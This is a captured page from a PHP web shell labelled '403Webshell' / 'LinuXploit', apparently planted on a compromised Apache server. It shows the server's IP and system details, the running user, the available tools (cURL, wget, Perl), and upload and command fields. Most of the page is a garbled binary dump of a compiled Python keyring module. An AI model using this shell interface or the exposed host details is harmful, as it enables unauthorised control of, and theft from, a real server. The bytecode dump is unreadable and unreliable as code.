403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/keyrings/alt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/keyrings/alt/__pycache__/file.cpython-311.pyc
�

<&c���ddlmZddlZddlZddlZddlZddlZddlmZddl	m	Z
ddlmZm
Z
mZGd�de��ZGd	�d
��ZGd�dee��ZdS)
�)�with_statementN)�
properties�)�escape)�Keyring�decodebytes�encodebytesc�4�eZdZdZdZ	dZdZdZd	d�Zd	d�Z	dS)
�PlaintextKeyringz&Simple File Keyring with no encryptiong�?zkeyring_pass.cfgzno encyption�1.0Nc��|S)z<Directly return the password itself, ignore associated data.�)�self�password�assocs   �3/usr/lib/python3/dist-packages/keyrings/alt/file.py�encryptzPlaintextKeyring.encrypts����c��|S)z;Directly return encrypted password, ignore associated data.r)r�password_encryptedrs   r�decryptzPlaintextKeyring.decrypts��!�!r�N)
�__name__�
__module__�__qualname__�__doc__�priority�filename�scheme�versionrrrrrrrsY������0�0��H�7�!�H�
�F��G�����"�"�"�"�"�"rrc�F�eZdZdZdZdZdZd�Zed���Z	d�Z
d�Zd	S)
�	Encryptedz0
    PyCryptodome-backed Encryption support
    z[PBKDF2] AES256.CFBr� c�n�t|���|�����dSr)�vars�update�_get_crypto_impl�rs r�__init__zEncrypted.__init__+s.���T�
�
���$�/�/�1�1�2�2�2�2�2rc��	ddlm}ddlm}ddlm}n"#t$rddlm}ddlm}ddl	m}YnwxYwt��S)Nr)�KDF)�AES)�Cryptodome.Protocolr+�Cryptodome.Cipherr,�Cryptodome.Random�Random�ImportError�Crypto.Protocol�
Crypto.Cipher�
Crypto.Random�locals)r+r,r0s   rr'zEncrypted._get_crypto_impl.s���	+�/�/�/�/�/�/�-�-�-�-�-�-�.�.�.�.�.�.�.���	+�	+�	+�+�+�+�+�+�+�)�)�)�)�)�)�*�*�*�*�*�*�*�*�	+�����x�x�s��4�4c��|j�|||j���}|j�|d|j�|jj|��S)zK
        Create the cipher object to encrypt or decrypt a payload.
        )�dkLenN)r+�PBKDF2�
block_sizer,�new�MODE_CFB)rr�salt�IV�pws     r�_create_cipherzEncrypted._create_cipher:sI���X�_�_�X�t�4�?�_�
C�
C���x�|�|�B�0���0�1�4�8�3D�b�I�I�Irc��	tjd��}tjd��}||kr tj�d���Od|���kr tj�d����|S)NTz,Please set a password for your new keyring: zPlease confirm the password: z#Error: Your passwords didn't match
�z'Error: blank passwords aren't allowed.
)�getpass�sys�stderr�write�strip)rr�confirms   r�_get_new_passwordzEncrypted._get_new_passwordAs���
	���'U�V�V�H��o�&E�F�F�G��7�"�"��
� � �!G�H�H�H���X�^�^�%�%�%�%��
� � �!K�L�L�L���OrN)rrrrrr r9r)�staticmethodr'r?rHrrrr"r""sz��������#�F��G��J�3�3�3��	�	��\�	�J�J�J�����rr"c��eZdZdZdZd���Zejd���Z	ej
d���Zd�Zd�Z
d�Zd	�Zd
�Zd�Zdd
�Zdd�Zdd�ZdS)�EncryptedKeyringzPyCryptodome File Keyringzcrypted_pass.cfgzpw:c��	|���n#t$rtd���wxYwtstd���dS)z2Applicable for all platforms, but not recommended.zpycryptodome/x requiredz0JSON implementation such as simplejson required.g333333�?)r'r1�RuntimeError�json)�clss rrzEncryptedKeyring.priorityUsc��	:�� � �"�"�"�"���	:�	:�	:��8�9�9�9�	:�����	S��Q�R�R�R��ss��1c��|���r|���n|���|jSr)�_check_file�_unlock�
_init_file�keyring_keyr(s rrTzEncryptedKeyring.keyring_key`s@�������	��L�L�N�N�N�N��O�O������rc���|���|_|�ddd��|�dd|j��|�dd|j��dS)zP
        Initialize a new password file and set the reference password.
        �keyring-setting�password reference�password reference valuerr N)rHrT�set_password�_write_config_valuerr r(s rrSzEncryptedKeyring._init_fileisy�� �1�1�3�3���	
����3�5O�	
�	
�	
�	
� � �!2�H�d�k�J�J�J�� � �!2�I�t�|�L�L�L�L�Lrc���tj�|j��sdS|���tj��}|�|j��	|�td��td����n"#t
j
t
jf$rYdSwxYw	|�|��n#t$rYdSwxYw|�|��S)zS
        Check if the file exists and has the expected password reference.
        FrVrWT)�os�path�exists�	file_path�_migrate�configparser�RawConfigParser�read�get�escape_for_ini�NoSectionError�
NoOptionError�
_check_scheme�AttributeError�_check_version�r�configs  rrQzEncryptedKeyring._check_filevs
���w�~�~�d�n�-�-�	��5��
�
�����-�/�/�����D�N�#�#�#�	��J�J��0�1�1�>�BV�3W�3W�
�
�
�
���+�\�-G�H�	�	�	��5�5�	����	����v�&�&�&�&���	�	�	��4�4�	�����"�"�6�*�*�*s$�)0B�B9�8B9�=C�
C!� C!c�P�	|�td��td����}n.#tjtjf$rtd���wxYw|�d��r
|dd�}||jkrtd|j�d|�d	����dS)
zv
        check for a valid scheme

        raise ValueError otherwise
        raise AttributeError if missing
        rVrzEncryption scheme missingz	PyCrypto �	Nz"Encryption scheme mismatch (exp.: z	, found: �))	rdrerarfrgri�
startswithr�
ValueError)rrlrs   rrhzEncryptedKeyring._check_scheme�s���	>��Z�Z��0�1�1�>�(�3K�3K���F�F���+�\�-G�H�	>�	>�	>� �!<�=�=�=�	>�������[�)�)�	 ��A�B�B�Z�F��T�[� � ��*�+/�;�;�;����@���
�!� s	�03�+Ac��	|�td��td����|_n"#tjtjf$rYdSwxYwdS)z�
        check for a valid version
        an existing scheme implies an existing version as well

        return True, if version is valid, and False otherwise
        rVr FT)rdre�file_versionrarfrgrks  rrjzEncryptedKeyring._check_version�sj��	� &�
�
��0�1�1�>�)�3L�3L�!�!�D�����+�\�-G�H�	�	�	��5�5�	�����ts�58�A�Ac���tjd��|_	|�dd��}|dksJ�dS#t$r$|���td���wxYw)zd
        Unlock this keyring by getting the password for the keyring from the
        user.
        z-Please enter password for encrypted keyring: rVrWrXzIncorrect PasswordN)rBrT�get_password�AssertionError�_lockrq)r�ref_pws  rrRzEncryptedKeyring._unlock�s���
#�?�;�
�
���	3��&�&�'8�:N�O�O�F��7�7�7�7�7�7�7���	3�	3�	3��J�J�L�L�L��1�2�2�2�	3���s	�;�.A)c�
�|`dS)z<
        Remove the keyring key from this instance.
        N)rTr(s rrwzEncryptedKeyring._lock�s��
���rNc���|j�|j��}|j�|jj��}|�|j||��}|�|j|z��}t|||���}|D]4}t||���
��dd�||<�5tj|���
��S)N)r<r=r���)r0�get_random_bytesr9r,r?rTr�	pw_prefix�dictr	�decoderN�dumps�encode)	rrrr<r=�cipherr�data�keys	         rrzEncryptedKeyring.encrypt�s����{�+�+�D�O�<�<��
�[�
)�
)�$�(�*=�
>�
>���$�$�T�%5�t�R�@�@��#�^�^�D�N�X�,E�F�F����"�9K�L�L�L���	=�	=�C�#�D��I�.�.�5�5�7�7����<�D��I�I��z�$���&�&�(�(�(rc�~�tj|�����}|D],}t||�����||<�-|�|j|d|d��}|�|d��}|�|j	��sJ�|dd�S)Nr<r=r�)
rN�loadsrrr�r?rTrrpr})rrrr�r�r��	plaintexts       rrzEncryptedKeyring.decrypt�s����z�,�3�3�5�5�6�6���	8�	8�C�#�D��I�$4�$4�$6�$6�7�7�D��I�I��$�$�T�%5�t�F�|�T�$�Z�P�P���N�N�4�(<�#=�>�>�	��#�#�D�N�3�3�3�3�3�����}�rc��dS)z?
        Convert older keyrings to the current format.
        Nr)r�keyring_passwords  rr`zEncryptedKeyring._migrate�s���rr)rrrrrr�r}r�
classpropertyr�NonDataPropertyrTrSrQrhrjrRrwrrr`rrrrKrKOs������#�#�!�H������I���������� � � �� �M�M�M�+�+�+�,���0
�
�
�
3�
3�
3����)�)�)�)����������rrK)�
__future__rr\rCrNrBra�jaraco.classesrrre�keyrings.alt.file_baserrr	rr"rKrrr�<module>r�s��%�%�%�%�%�%�	�	�	�	�
�
�
�
�������������%�%�%�%�%�%�,�,�,�,�,�,�D�D�D�D�D�D�D�D�D�D�"�"�"�"�"�w�"�"�"�&*�*�*�*�*�*�*�*�ZS�S�S�S�S�y�'�S�S�S�S�Sr

Youez - 2016 - github.com/yon3zu
LinuXploit